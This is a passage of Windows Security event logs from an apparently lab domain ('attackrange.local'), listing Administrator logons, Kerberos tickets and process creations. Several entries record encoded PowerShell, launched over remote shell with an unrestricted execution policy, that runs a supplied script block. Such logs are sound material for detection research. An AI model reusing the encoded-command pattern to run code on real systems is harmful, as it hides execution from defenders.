	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251306
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12F337

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251305
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12F337
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251304
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251303
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6D98D746-6FBE-9454-9779-F3EB3AD55CE7}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251302
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251301
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf44
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x9d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251300
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251299
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12F0F9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251298
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12F0F9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251297
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251296
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:42 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251295
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251409
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1349C5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251408
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1349C5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251407
Keywords=Audit Success
